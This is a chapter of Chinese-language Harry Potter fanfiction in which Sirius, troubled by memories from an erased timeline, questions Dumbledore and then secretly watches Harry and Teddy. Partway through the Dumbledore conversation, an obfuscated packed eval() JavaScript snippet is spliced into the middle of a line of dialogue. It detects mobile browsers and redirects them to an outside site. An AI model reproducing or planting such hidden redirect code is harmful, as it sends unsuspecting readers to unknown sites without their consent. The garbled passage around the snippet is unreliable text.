那只灰扑扑的猫立刻蹿到小天狼星脚边,竖起尾巴,目光紧盯不放。 小天狼星跨过门槛,走进城堡。礼堂里飘着早餐的香气,学生们三三两两朝礼堂走去。他没有停留,径直走向校长办公室,洛丽丝夫人寸步不离地跟在他身后,直到转过第一个拐角才不情愿地离开。 小天狼星浑不在意地继续向前走,直到经过一群高年级学生时,见到一个高个男孩迅速用袖子擦掉墙上的什么东西。 他放慢脚步,转向那面墙。盔甲旁的石头上,隐约可见被匆忙擦去的痕迹——两个字母“D”和“A”的模糊轮廓。 就在他凑近查看的瞬间,一阵剧痛袭击了他的太阳穴。他双手抵住墙壁,冷汗直冒。 “布莱克先生?” 一个严厉的女声将他拉回现实。米勒娃·麦格站在几步之外,深绿色格子长袍,头发一丝不苟地盘在脑后。 “麦格教授。”小天狼星直起身,勉强露出微笑,“早上好。” “我不记得收到过你要来访的通知。”麦格教授透过方形眼镜敏锐地打量着他,“出什么事了吗?” 小天狼星注意到不少学生正偷瞟他们。“与公务无关,”他低声说,“我需要见邓布利多,是个私人问题。也许我们能找个安静的地方谈谈?” 麦格教授简短地点头,领他走进旁边一间未使用的教室。关上门后,她转向小天狼星。 “现在可以说了,小天狼星。”她的语气稍微柔和了些。 小天狼星扫了眼积满灰尘的桌椅。“我注意到场地上有魔法部人员,学生们表现得很紧张。詹姆斯提过魔法部可能会派人来学校,我们都以为只是例行调查——形式上走个过场的那种,但看来情况比想象的严重。” 麦格教授的嘴唇抿成一条几乎看不见的细线。“魔法部派了高级调查官多洛雷斯·乌姆里奇。表面是调查蛇怪事件和安全审查,实际上——”她顿了顿,“福吉在借机向霍格沃兹施压。” “典型的福吉风格。”小天狼星嗤之以鼻。 “乌姆里奇正在审核教师资历,特别是——”麦格教授意有所指地看了他一眼,没说出名字。“她还对学生进行了一系列审问。泰迪·卢平,就是佩弗利尔教授的教子——你见过的——在她办公室里晕倒了,被送到医疗翼。” “晕倒?”小天狼星皱眉。 莱姆斯的儿子。这个认知让他无可避免地涌起一股强烈的担忧。之前几次见面,他只是把泰迪当作哈利的教子,一个安静腼腆的男孩。现在知道那孩子是莱姆斯的血脉,那头不时变色的浅棕色头发、那种熟悉的忧郁神情——一切都有了解释。而乌姆里奇对狼人的厌恶是出了名的,如果被她发现了什么…… 他强迫自己保持表情平静,没有透露出过分的关切。“那孩子现在怎么样?” “波比说已无大碍。”麦格教授说,“但这种审问方式令人担忧。”她停了片刻,“如果你是来见阿不思的,他应该在办公室。我相信他会给你更多答案。” “谢谢,米勒娃。”小天狼星点头道。 麦格教授转身要走,又停下脚步:“小心行事,小天狼星,学校里有太多耳朵在倾听。” 小天狼星明白她的暗示。“我会注意的。” 离开教室后,他沿着熟悉的走廊前行,思绪万千。乌姆里奇的调查,卢平的儿子,还有那些神秘的“D.A.”标记——这一切似乎都与那个从未来回来的哈利·波特有关。 经过一扇高窗时,他的目光不自觉地投向黑魔法防御术教授办公室所在的塔楼。从这个角度,恰好能看到角落的那扇窗户——哈利可能就在那里,那个在另一个时空中与他有某种特殊联系的年轻人。 一种既陌生又熟悉的情感涌上心头。在记忆碎片中,他似乎是那个年轻人十分重要的依靠,而现在,在这个现实里,他们却身处不同的位置。 小天狼星加快脚步,走向校长办公室。无论这些记忆碎片意味着什么,他必须要找到真相。 —————— 小天狼星站在邓布利多办公室门外的石像前,长袍下摆还沾着山间的露水。他望着那只岿然不动的石像鬼,这才意识到自己犯了个愚蠢的错误——他匆忙从峡谷之屋赶来,甚至忘了向麦格教授询问口令。 “该死,”他低声咒骂,烦躁地抓了把头发。“柠檬雪宝?”石像一动不动。“蜂蜜糖?巧克力蛙?”几个常见的糖果名称尝试后,依然毫无反应。 小天狼星恼火地踱了几步,正准备转身回去找麦格教授,石像却突然滑开了,露出螺旋向上的楼梯。 “行吧。”他嘀咕着,迈步走上台阶。 楼梯尽头的门自动打开。小天狼星跨入办公室,靴子踩在石板上发出沉闷的回响。邓布利多站在角落的桌子旁,正在检查一只闪着银光的奇特仪器。福克斯在金色栖架上轻啄羽毛,抬头向他投来一瞥。 “小天狼星,”邓布利多抬起头,蓝眼睛透过半月形眼镜审视着他,“我猜你不是来享用早餐的。” 小天狼星驻足在房间中央,微微皱眉。“你知道我会来。” “我知道有人会寻求解答,”邓布利多沉稳地说,放下手中的仪器,向办公桌走去,“只是不确定会是谁。”他示意小天狼星就座,“什么事让你如此急切地来访?” 小天狼星坐下,犹豫片刻,决定先说他在路上遇到的事。“我刚在走廊上遇见了米勒娃,”他说,“她告诉我魔法部的调查不是做做表面功夫。那个乌姆里奇——” “多洛雷斯·乌姆里奇,”邓布利多点点头,“魔法部高级调查官。” “她甚至审问了泰迪·卢平,米勒娃说那孩子在她办公室里晕倒了。”小天狼星皱起眉头,“这太过分了,阿不思。那么小的孩子,她有什么权利这样对待他?” “乌姆里奇的职权来自魔法部,具体说是福吉。”邓布利多声音从容,“她的目标不仅是调查蛇怪事件,更是通过这个借口削弱我在霍格沃兹的影响力。所以她必然会采取一些……非常规的手段。” “那哈利——我是说,佩弗利尔呢?米勒娃说乌姆里奇在调查他的身份和背景。” “是的,她对哈利的经历提出了质疑。”邓布利多说,“考虑到他的真实身份,这是我们预料之中的困难。我假设詹姆斯已经把一切都告诉了你——西弗勒斯和我正在构建一个足够可信的背景故事,我们需要解释他为何没有任何公开的记录。” 小天狼星点点头,表情略显阴郁。“是的,詹姆斯全都说了。穿越时间,未来的哈利…………这就是为什么今天我会来找你。”他直截了当地说,灰眼睛紧盯着邓布利多,“我看到了不属于我的记忆,越来越多,也越来越清晰了。” 邓布利多微微眯起眼睛,蓝色的目光穿过半月形眼镜,带着一丝探究的意味,声音却依旧温和:“请详细说说。” “开始只是零碎画面,大概一年前开始冒出来,我以为只是些没头没脑的梦。就像我小时候天天梦见格里莫广场被炸得一点不剩——我很清楚这些梦都是小时候的胡思乱想。”小天狼星停了一下,手指无意识地敲了敲椅子扶手,“可自从詹姆斯告诉我那个……后,我才发现,我现在做的这些……不只是梦。” “昨晚我梦见自己躲在一个阴冷的山洞里,饿得胃都贴着背。哈利和他的朋友拿了些吃的过来……”小天狼星停下来,皱了皱眉,“今天早上,我去霍格莫德了。” “霍格莫德?”邓布利多微微扬眉。 “我在村子边缘找到了那个山洞,”小天狼星说,声音带着难以置信的困惑,“就在山坡上藏在一块大石头后面。学生时候,我和詹姆斯他们几乎跑遍了霍格莫兹的每个角落,可我从不知道有这样一个山洞。” 邓布利多的指尖轻轻敲击桌面。“你在那里发现了什么?” “什么都没有,”小天狼星说,“但位置、大小、甚至洞壁上的裂纹,一切都和梦中一模一样。”他双手摊开,像是试图抓住那些闪过的画面,“我还记得别的:哈利在黑湖边召出一只牡鹿守护神——和詹姆斯一个样;我在阿兹卡班的墙上划日子……”他牢牢盯着邓布利多,“我从没去过阿兹卡班,可我能感觉到那股冷气,能听见摄魂怪的呼吸声……你能为我解答一下吗?” 邓布利多站起身,走到书架前,像往常思考时那样停下,手指却在一本厚重的书脊上多停留了片刻。“这种现象我观察了一段时间了,小天狼星。你不是第一个,我怀疑也不会是最后一个。” 小天狼星盯着邓布利多的背影,从他平静的语气里听出了一丝异样。他喉咙动了动,声音有些沙哑:“除了我,还有别人有过这种事吗?”他迟疑了一下,低声道,“你也……有吗?” 邓布利多转过身,摇了摇头。“遗憾的是,我没有。哈利跟我讲过那个世界的不少事,可那毕竟是他的经历,不是我的。”他蓝色的眼睛中流露出些许忧虑,“不过,哈利雇的那只家养小精灵多比倒是经历过类似的事。他在梦中看到了一个哈利遭遇危险的世界,这些梦引导他做出了一系列举动。” “当然,这只是我个人的猜测——”邓布利多走回座位,手指轻轻碰了碰桌上一只旋转的小仪器,指针微微颤了颤。“你知道,麻瓜们对时间总有些稀奇古怪的想法,比如‘平行世界’——认为每个选择都会创造出不同的现实分支,所有可能性都在不同的世界里同时存在。” 他微微笑了笑,“相当富有想象力,不是吗?但魔法部对时间魔法的研究一直严格限制,时间转换器被锁在神秘事务司的最深处,申请使用的程序繁琐且复杂,有严格的使用要求,而且必须谨慎,避免任何可能对历史造成重大改变的举动。巫师们似乎本能地回避这个领域。” 小天狼星皱起眉头。“那就是说没什么平行世界?只有一个可能被改写的现实?” “我相信是这样。”邓布利多点了点头,目光透过半月形眼镜扫了他一眼,“当时间线发生改变,原本的‘未来’便会被新的现实所覆盖。但我怀疑,被覆盖的历史并未完全消失,而是以某种形式——例如你所见的记忆碎片——留下了痕迹。” 小天狼星用手揉了揉太阳穴,这些理论让他头疼。他直视邓布利多的眼睛,直截了当地问,“阿不思,坦白说,你是在暗示什么?” 邓布利多的表情变得严肃,“最令人不安的是,某个我们都不愿见到的人,或许也获得了这些记忆碎片。” 一阵寒意顺着小天狼星的脊背窜上来。他猛地站起身,灰眼睛因震惊而睁大:“伏地魔?” 邓布利多没有立即回答,低头看着交叠的双手,片刻后,才轻声问道,“你还记得那年万圣节吗?十一年前的事了。” 小天狼星的瞳孔微微一缩。他当然记得。那是个令整个魔法界都松了口气的日子,也是令他至今感到困惑的时刻。 “你是在说那一晚……”他的声音停在半空。 邓布利多抬头看了他一眼,点了点头,“我记得詹姆斯曾提起,伏地魔消失前一刻,已经站在他们家的门口。” 小天狼星脸色一沉,“对,他告诉我,那晚伏地魔确实出现在戈德里克山谷——都是因为那个叛徒!”他的手下意识地握紧,声音发冷,“詹姆斯和莉莉准备好了,要不惜一切保护哈利。可接下来……”他摇了摇头,“伏地魔突然停下了。詹姆斯说,他的表情变了。然后,他就消失了。” “不寻常的决定,尤其是对一个离目标仅一步之遥的黑魔王来说,不是吗?”邓布利多的声音平稳,目光却牢牢锁住小天狼星。 “你是说……”小天狼星感到一阵冷意沿着脊柱爬上,“你是说……”他的声音略微发颤,“伏地魔也看到了那些画面?他预见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156413|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己的失败?” 邓布利多缓缓点头。 小天狼星脸色发白,他伸手扶住桌沿才勉强站住。一个可怕的真相在他脑海中成形,“那么,在那个未来中……”他的声音哽在喉间,不敢说出那个事实,“詹姆斯和莉莉……”他又迅速反驳自己,“不——既然伏地魔那次没成功,他们应该……” 话音戛然而止。空气似乎凝固了,连福克斯都不再梳理羽毛。邓布利多的神情流露出深沉的悲悯,没有说话,只是静静地看着他。 就在那一刻,潮水般的记忆涌来,不再是零散的片段,而是一幅完整而残酷的图景。小天狼星的身体剧烈地抖了一下,那些冒出的画面突然变得鲜活刺眼—— 【戈德里克山谷的那个万圣节夜晚。 被炸毁的房子,墙壁仍冒着青烟。 詹姆斯倒在客厅,没有魔杖,眼镜歪斜,目光空洞地停在天花板。 楼上的婴儿房,莉莉躺在地上,双臂仍像想要保护什么,红发如火般铺散。 婴儿床里的哈利,额头流血,哭声刺穿夜空。】 “我看到了……”小天狼星的声音破碎不堪,“梅林啊,戈德里克山谷被炸成废墟,詹姆斯倒在地上,莉莉......哈利在哭……”他说不下去了,双手握成拳头。 记忆如同锋利的玻璃碎片,每一片都深深刺入他的意识,让他在真实与幻境的边缘摇摇欲坠。 “这些不是梦,是吗?”他喃喃自语,“我一直希望是噩梦……就算我看到哈利孤零零地长大……没有父母在身边……” 他闭了闭眼,“其实我早就知道了……我只是不想去相信。” 邓布利多的眼中透出悲伤,“是的,他们没能活下来。伏地魔杀死了詹姆斯和莉莉,但当他试图杀死哈利时,莉莉的牺牲起了作用。咒语反弹到他身上,毁了他的肉身,只剩一个残魂逃走。哈利额上留下了疤,成为‘大难不死的男孩’。”他轻声补充道,“伏地魔失去了力量,但没有彻底消亡——他创造了自己最强大的对手,却无法消灭他。我相信,当他看到这个未来时,恐惧驱使他改变了策略。” 小天狼星僵在原地,脸色苍白如纸。他猛地抬起头,灰眼睛里盛满了难以承受的痛苦与不甘,“这说不过去!如果伏地魔真的看到了那个未来,看到自己被击败,为什么就这么消失?为什么不尝试别的方法?凭他的能力和手段,总有其他办法可以……”他的声音低下去,不敢说完那念头。 “小天狼星,”邓布利多平静地说,“面对预见的失败,即使伏地魔也会恐惧。尤其是知道自己将被一个婴儿击败——这对他的自尊是无法接受的打击。他需要时间重新思考,寻找新的力量。” 小天狼星摇着头,手指颤抖着按住额头。“那么詹姆斯和莉莉……”他的声音哽咽,再也说不下去。突然,一个更可怕的念头击中了他,如同钻心咒一般,让他五脏六腑都痛了起来。他踉跄着退后一步,扶住墙壁才勉强站稳。 “我当时在哪里?”他的声音嘶哑,几乎听不出是他的,“为什么我没有保护他们?” 邓布利多深深地看了他一眼:“小天狼星,没有人能预见背叛。” “彼得。”这个名字从小天狼星齿间挤出,“是他泄露了保密人的信息,对不对?就跟这次一样。” “是的。”邓布利多说,“但在那个世界里,没有人及时发现真相。后果……”他顿了顿,“远比我们经历的要严重得多。” 小天狼星眼中燃起愤怒的火焰,“彼得!我追着彼得,在麻瓜街道上,他对着街道施了爆炸咒,死了一地的麻瓜……而我,我被抓了,他们把我扔进阿兹卡班……” 狂怒过后,小天狼星缓缓抬头,脸上写满难以置信。“这一切……它就这么发生了?在那个世界里?”突然,他的表情转为恐慌,一个更骇人的念头攫住他。“等等,我当初想带走哈利,但海格说是你的命令……” 邓布利多没有立即回答,但小天狼星已经从他的眼神中读出了某种答案。 “你把他送给莉莉那个麻瓜亲戚家寄养!叫什么来着——德思礼?”小天狼星怒气冲冲地质问,“他们讨厌魔法!讨厌我们所有人!詹姆斯告诉过我他们是什么样的人……他们根本没有好好对待哈利!为什么不让我照顾他?为什么要从我手里带走他?” 邓布利多终于开口,“你必须理解当时的处境,小天狼星。世界以为你背叛了波特一家,背叛了凤凰社。” “但你知道真相!”小天狼星几乎喊了出来,“你知道我永远不会——” “那个‘我’并不知道。”邓布利多轻声说,这简单的承认胜过任何解释。 “十二年……” 怒意从小天狼星眼中渐渐褪去,取而代之的是一种深重的悔恨。“我在那个鬼地方熬了十二年……”他的声音变得空洞,“每天都在折磨自己——如果我没有建议换保密人……” 他摇了摇头,目光投向远处,“可我甚至没能陪他长大……他生命中最需要依靠的时候,我却被囚禁在那个地狱般的地方……” 他无法继续说下去,只是颤抖着抬起手捂住脸庞,指节间隐约可见湿润的痕迹。 邓布利多起身,绕过办公桌,缓步走到小天狼星身旁,轻轻按住他的肩膀。 “你错了,小天狼星。哈利跟我讲起那个世界时,提到最多的人之一就是你。”邓布利多的声音低沉而柔和,“你知道吗?在那里,你是他生命中第一个让他感受到毫无保留的爱的人。” 小天狼星怔住,缓缓抬起头,不敢相信自己的耳朵。 “后来,你从阿兹卡班逃了出来。”邓布利多接着说,“不是为了报仇,而是为了保护他。你在逃亡中苟活,只为能在他需要时出现在他身边。” “你曾邀请他离开德思礼家,和你一起生活。那是他头一次觉得自己被真正需要,头一次有了归属感。” 小天狼星猛然一震,一个模糊的梦境片段骤然清晰。“我梦见过这个,”他轻声说,“我问他‘你想不想……搬来和我一起住?’”他的眼眶湿了,“那时我还以为只是个荒谬的梦……直到詹姆斯告诉我他是谁……” “我从没真正怀疑过他,你明白的。”小天狼星摇着头说,“哪怕詹姆斯气成那样,我始终觉得不该把责任都推到他身上。每次我们目光相遇,总有种奇怪的默契,仿佛我们之间原本就该如此。”他停顿片刻,声音低沉,“我只是没想到——”他找不到合适的词语描述那种复杂的情感,“我……我真的对他那么重要?” “远比你想象的重要。”邓布利多说。 小天狼星闭上眼睛,心中涌起一股前所未有的痛楚。 沉默片刻后,他的声音低了下去,近乎自语,“这或许能解释为何自从见到他,我便感到一种莫名的亲近。每次凤凰社会议,我总不自觉地去看他;看到他和斯内普竟然关系不错,我甚至会无端地感到愤怒……”他猛地一顿,灰眼睛中闪过一丝领悟,“这不像我,至少不像现在的我。可现在看来,那像是另一个我的影子。” 邓布利多微微颔首:“灵魂的连结往往超越我们的理解,小天狼星。也许你的某个部分,早就认出了他。” 小天狼星走到窗边,目光投向远处。“我曾在他眼中看到过那种神情,”他轻声说,“每次他看向詹姆斯、莉莉,甚至是看向我的时候,我过去以为那是年轻人的拘谨……现在我才明白那是什么。” “思念。”邓布利多说,“还有无法言说的爱。” 窗外晨光照射在城堡的石墙上,远方可见零星的学生身影。小天狼星转向邓布利多,声音中带着从未有过的迷茫,“接下来我该怎么办?” “你得先问问自己,小天狼星。”邓布利多说,“在两个时间线的记忆之间,你选择站在哪一边?” 小天狼星垂下目光,思绪回到几周前在卢平家的那场争执。詹姆斯愤怒的质问,卢平的劝解,还有他自己站在风暴中心时的犹豫不决。那时他只有碎片般的记忆和直觉,无法给出詹姆斯想要的答案。 但现在,一切都不同了。那些梦境是真实的,那些感受是真实的,那个未来确实存在过。 这回,小天狼星终于不再迟疑,“我选择站在哈利身边——无论是那个男孩,还是那个年轻人。不管是哪个世界,他都是詹姆斯和莉莉的儿子,是我的教子,值得我去守护。”他停了片刻,“我已经失去这里的哈利了……不能再失去另一个。” 邓布利多微微一笑,蓝眼睛里流露出一丝赞许,“那么,你已经有了答案。” “阿不思,我该早点来找你的。”小天狼星走向门口,在门前停了下来。他回身望向邓布利多,语气中的犹豫已被坚定取代,“我会先和詹姆斯谈谈。他需要知道真相——不管有多痛苦,我们都欠哈利这些。” “这是明智之举。”邓布利多说,“记住,小天狼星,时间的流动或许改变了,但人心的本质永远不变。” “你需要我将今天的会面告诉哈利吗?”邓布利多在小天狼星离去前问。 小天狼星沉思片刻,摇了摇头:“如果可以……我想找个合适的时机,自己告诉他。” 邓布利多颔首,不再多问。小天狼星走下旋转楼梯,心中有个决定愈发坚定——他要去看看那个孩子,不是为了确认什么,只是为了亲眼看看他的另一个教子。 76. 窗外的黑犬 小天狼星走下旋转楼梯,胸口仍在急促起伏。邓布利多办公室的对话和那些突然清晰的记忆碎片交织在一起:阿兹卡班的寒风、彼得的背叛、戈德里克山谷废墟中詹姆斯与莉莉的遗容,清晰得如同昨日。 城堡的走廊上回荡着早晨特有的喧嚣,学生们三三两两走过,嘴里叽叽喳喳地议论着周末的打算。这些熟悉的声响将他从回忆的深渊拽回现实。这才是现在,他默默提醒自己,詹姆斯和莉莉还活着,即将迎来第二个孩子,尽管小哈利已经不在了。而那个从未来穿越而来的哈利·波特,此刻就在这座城堡的某个角落。 转过拐角,他忽然停下了脚步。三个身影正挤在一具盔甲后偷偷摸摸。一个红发男孩——显然出自韦斯莱家——握着魔杖小心地在石墙上刻划;棕发男孩站在一旁指挥,“再往这边一点,别歪了!”头发上的金光随着他手指挥舞微微闪动;那个一头蓬乱棕发的女孩则紧张地来回扫视走廊,低声催促:“快点,罗恩,别划太深。要是被费尔奇发现,我们这个周末就全完了。” 小天狼星的靴子踏在石板上,发出一声清脆的响动。三人齐刷刷转过头,像是被猎犬盯上的兔子,眼神里满是慌乱。罗恩立刻跳到前面,挡住墙上的痕迹,手里的魔杖攥得死紧。赫敏往后退了半步,手悄悄藏到身后。只有泰迪愣了一下后站在原地没动,脸上绽放出一个灿烂的笑容,“小天狼星?” 这声亲切的呼唤让小天狼星胸口一暖。他对泰迪并不陌生,他们在睿瓦纳塔见过几次,也在波特家一同庆祝两个哈利的生日——虽然那时他只把这孩子当作哈利的教子,小哈利身边的好友。如今得知他其实是莱姆斯的儿子,来自未来,又自小父母双亡,这份熟悉便蒙上了酸涩的重量。 “你怎么来了?来找哈利吗?”泰迪问,语气里带了点好奇。 “找邓布利多谈了点事。”小天狼星随口应道,目光越过罗恩的肩膀,看清了墙上那两个歪歪扭扭的字母——“DA”。 他心跳一滞,脑海中闪过一个画面——他坐在昏暗的房间里,手里拿着一封哈利寄来的信,纸面皱巴巴的,边角还有些被揉过的痕迹。他几乎能看见自己当时的模样——蜷缩在格里莫广场12号那张硬邦邦的沙发上,小心翼翼地展开那张被猫头鹰偷偷带来的羊皮纸。哈利的字迹潦草匆忙,墨水在某处因为太过用力而晕开:“我们自己组织了一个防御术学习小组,乌姆里奇什么也不教,所以我们只能靠自己。找了个叫有求必应屋的地方练习,已经有二十八个人了。赫敏的主意,不过是金妮建议我们管它叫‘邓布利多军’——就是要气福吉,让他担心邓布利多真在组建私人军队。” 小天狼星记得手指抖了一下,信纸边缘在他掌中起了褶。他提起羽毛笔回信时,自豪和担忧搅成一团。他为哈利骄傲,那小子骨子里带着詹姆斯的倔强,却又忍不住为教子暗暗担忧。那时的他窝在阴冷的藏身处,想象一群学生挤在某个隐秘房间里,哈利站在中间,手里挥着魔杖,像个天生的领袖。 疼痛猝不及防地袭来,小天狼星身子一晃,手撑住墙才站稳。冷汗从前额滑落,他低声呢喃,“邓布利多军……” 泰迪睁大了眼,与罗恩和赫敏交换了一个不安的目光。 “你……你知道这是什么?”泰迪问,声音里透着试探。小天狼星注意到泰迪的头发在一瞬间变成浅绿色,显然是紧张得藏不住了。 他揉了揉太阳穴,强迫自己站直身体,挤出一丝笑意,“只是个猜测。”他回答,目光重新落在泰迪身上。这男孩脸上写满了担忧,那熟悉又陌生的气质让他心头一震,莱姆斯的影子突然从记忆深处浮现。 “别那么紧张,”小天狼星故意放轻语气,带着点戏谑,“吓得我还以为费尔奇来了。” 泰迪肩膀一松,露出笑容,头发慢慢变回棕色。 小天狼星的目光又扫向那“DA”标记,眉头微皱,“我今天在其他地方也看到这些标记,是你们弄的新花样,还是什么恶作剧?” 赫敏忙不迭地摇头,“不……不是那样的!只是学生间的玩笑罢了!” 罗恩放下挡在身前的手,眼神仍带着戒备,“你不会告状吧?” 赫敏瞪了他一眼,低声嘘了一下,像在责怪他提问得太直接。 “我像是那种人吗?”小天狼星倚着墙,嘴角勾起一抹笑,“容我重新介绍一下劫掠者——我们几个当年可是霍格沃兹最出名的捣蛋鬼,连费尔奇的猫都被我们耍得团团转。” “我听说过。”泰迪小声说,眼中带着小小的得意。小天狼星没追问他是从谁那儿听来的。 “你怎么样?”小天狼星问,声音透出几分关切,“乌姆里奇没找你们麻烦吧?麦格教授告诉我你在她办公室里晕倒了。” 泰迪脸颊一红,“我没事了。哈利——我是说,佩弗利尔教授——给了我一些镇定药剂。”他顿了顿,又补了一句,“我现在挺好的!” 小天狼星点点头,目光却不由自主地在泰迪身上多停留了几秒。在这张年轻的脸上,他能看到莱姆斯的影子——那种沉静中藏着心事的神情,那双总是观察多于发言的眼睛。但又有些不同,一种更坚韧的气质,或许来自唐克斯,或许是失去父母后与教父相依为伴的痕迹。 “如果有麻烦,”小天狼星压低声音说,手轻轻拍了下泰迪的肩膀,感觉到那瘦小的身躯一僵,随即放松,“随时可以找我。莱……佩弗利尔教授是我的……朋友,你的猫头鹰会找到我。” “谢谢,”泰迪腼腆地笑了一笑。 小天狼星转身离开,脚步踩着沉重的回声。身后传来罗恩的小声嘀咕:“你确定他不会告诉其他人吗?”紧接着是赫敏的低斥,带着点恼火:“闭嘴,罗恩!他当然不会。” 小天狼星没有回头。那两个字母——“DA”——在他脑海中萦绕不散,与那些记忆碎片纠缠在一起。他刚刚才从邓布利多那里得知,时间线只有一条,新的现实会把过去的痕迹全部抹平覆盖。 可为什么?为什么已经被改写的历史会冒出这样相似的影子? 小天狼星的心脏跳得厉害。如果连这样的细节都能跨越时间重现,那么其他事情呢?那个被消灭的未来,那个他在阿兹卡班度过十二年,詹姆斯和莉莉死去,哈利孤独成长的世界,甚至是泰迪失去父母——还有什么会重演? 今晚他要见詹姆斯,让挚友知道完整的真相。但在那之前,一种难以抑制的冲动驱使他走向另一个方向——他穿过长廊,朝着黑魔法防御术教授办公室所在的塔楼走去。 哈利·波特就在那里。 小天狼星在楼梯口停下,一只脚踏上台阶,又收了回来。该怎么面对哈利?他能说什么?在邓布利多办公室时,他信誓旦旦要去见哈利,要站在他身边。可现在,当真正面对这个可能时,一种从未体验过的畏惧攫住了他的心。 万一哈利并不像记忆中那样想念他怎么办?会不会根本不需要他?毕竟在这个世界,他们的关系远比不上那个被抹去的时间线。在那个世界,他是哈利最亲近的人;在这个世界,他只是凤凰社的同事,一个偶尔在会议上见面的成年人。 就在这犹豫不决的时刻,他又想起了那个梦。对了,阿尼马格斯——他可以变成黑狗,不必直接面对哈利,只需远远地看他一眼,确认他平安无事。这样,他就能先处理好与詹姆斯的问题,然后再考虑如何与哈利相认。 小天狼星环顾四周,确认无人注意,便侧身溜进一间空教室。几秒钟后,一只体型硕大的黑狗从门缝钻出,沿着走廊悄无声息地奔向黑魔法防御术教授的办公室。 —————— 黑色的狗影贴着墙根移动,伏低身体穿过城堡内庭。午后的阳光将石墙晒得温热,几只猫头鹰懒洋洋地栖息在高高的塔楼边缘,偶尔咕哝一两声。小天狼星轻松绕过巡视的费尔奇,爪子落在石板上悄然无声。 他来到黑魔法防御术办公室所在的塔楼下,仰头望去——窗户开着,五楼的高度对一只体型庞大的狗来说不算轻松。但他没半点迟疑,爪子在凸出的石块和缝隙间找到落脚点,稳稳地向上攀爬。 爬到半途,他听见上方传来隐约的声音,便放慢动作,耳朵竖起,小心翼翼地靠近。终于,他来到那扇半开的窗户外,身体紧贴墙壁,被走廊投下的阴影完美掩护,毛茸茸的耳朵高高竖起,眼睛谨慎地向内窥视。 办公室里,哈利伏案而坐,羽毛笔在羊皮纸上划出沙沙声。桌前堆满了待批改的作业,边缘卷曲的羊皮纸旁散落着几本翻开的书,其中一本的书页被翻阅得卷了边。他眼下带着浅浅青黑,手边放着一杯几乎没动过的茶。 大黑狗藏在阴影里,硕大的头颅微微歪向一边,黑亮的眼睛一眨不眨地盯着哈利专注的侧脸。一瞬间,午后阳光透过窗户勾勒出的轮廓,像极了年轻时的詹姆斯——那股倔强的神态。可那双绿眼睛一抬,又分明是莉莉的影子,刺得他心口一颤。 敲门声响起。“请进。”哈利的声音略带沙哑,似乎很久没开口说话。 门被推开,泰迪探头进来,头发在光线下泛着柔和的棕色。“哈利,”他皱着眉说,“你又错过午饭了。” 哈利的表情在看到泰迪时柔和下来,紧绷的肩膀放松了些。“忙着改论文,”他放下羽毛笔,露出一个微笑,“不知不觉就过了饭点,我会叫家养小精灵送些食物过来。” 泰迪走进办公室,一本《中级变形指南》抱在胸前。他坐到哈利对面的椅子上,眼睛扫过那摞得老高的论文,拧起眉头:“你一定要现在改完这些吗?” “不急,”哈利摇摇头,随手合上面前的羊皮纸,将注意力完全转向泰迪,“你今天过得怎么样?” 有那么一刻,小天狼星屏住了呼吸。他看着泰迪身子微微一松,嘴角浮现出一丝不自觉的笑容,仿佛哈利的这种简单关心是一种日常的仪式,一种无声的安全感来源,让这个失去双亲的孩子找到了某种归属。 “挺好的,”泰迪的声音带着一丝活力,“赫敏教我们用一种新咒语加固墙上的标记,这样即使被擦掉也能留下痕迹。刚刚罗恩试了下——虽然失败了好几次,赫敏快急死了。”说到这里,他的表情突然有些犹豫,“对了,我刚刚在走廊上碰见小天狼星了。” 窗外的大黑狗一僵,心跳在胸腔里咚咚作响,像擂鼓一样。 哈利的手指在桌面上顿了一下,眉头一紧,很快又松开。他抬起头,声音尽量平稳:“是吗?他来学校做什么?” “他没说,”泰迪摇摇头,“说是来找邓布利多教授。”他抿了抿嘴唇,似乎在斟酌措辞,“还有件事——他看到了墙上的DA标记,知道那是‘邓布利多军’。会不会是邓布利多教授告诉他的?” “而且,”男孩的语气中带着困惑,“他问我最近过得怎么样,说如果我有麻烦,可以随时去找他。你觉得这是不是有点奇怪?” 哈利的表情在听到最后一句话时微妙地变化了。他沉默了片刻,手指无意识地摩挲着羽毛笔杆。 “为什么觉得奇怪?”他终于开口,声音刻意保持着平静。 “就是……他——”泰迪犹豫地说,“小天狼星,他以前也没和我说过几句话,但今天他看我的眼神……怪怪的。”男孩皱了下鼻子,“他还特别提到‘你是他的朋友’,好像在暗示什么。” 办公室里安静下来。 哈利深吸一口气,目光掠过窗外,几乎扫过小天狼星藏身的阴影。“泰迪,”他轻声说,“小天狼星是个很可靠的人,也许他只是想表达友好。”他顿了顿,语气变得谨慎,“不过,我建议你不要过多地麻烦他。他们……都有自己的事情要忙。” 泰迪眨眨眼,没有多问什么,“我不会去麻烦他们的,我有哈利就够了。” “泰迪,”哈利沉默了一会儿,终于开口,声音低得像是压在喉咙里。他顿了顿,目光短暂地移向窗外,又迅速收回,落在泰迪身上,“有些事……我现在没法跟你说。”他抿了下嘴唇,手指在桌沿上轻轻敲了一下,似乎在给自己找点支撑,“但我保证,总有一天我会告诉你。相信我,好吗?” 泰迪看着哈利良久,最终点了下头,“我相信你,哈利。” 哈利伸出手揉了揉他的脑袋,“记住我叮嘱过的,最近不要单独行动,和罗恩、赫敏一起。离调查组远一点,不小心碰上了也别在乌姆里奇面前太显眼。” “我记得。”泰迪点点头。 小天狼星一直在窗外默默听着,这简单的一句话刺得他心里发酸。哈利和泰迪这对教父子之间的信任那么纯粹,简单得让人羡慕。 看着这对教父子之间心照不宣的默契,小天狼星感到一种奇异的失落。在那个已被抹去的未来,他和哈利曾有过这样的关系吗?邓布利多向他保证哈利曾视他为重要的人,可现在哈利已经成了一个完整的成年人,有了自己的责任和依靠。泰迪也是父母双亡,而哈利却把他抚养成了一个善良开朗的孩子。 他开始怀疑自己的存在意义。这个哈利或许根本不需要他。在邓布利多办公室里那股冲动渐渐消退,取而代之的是一种说不出的胆怯。 “好了,”哈利微笑着站起身,轻轻拍了拍泰迪的肩膀,“快去上课吧,别迟到了。” 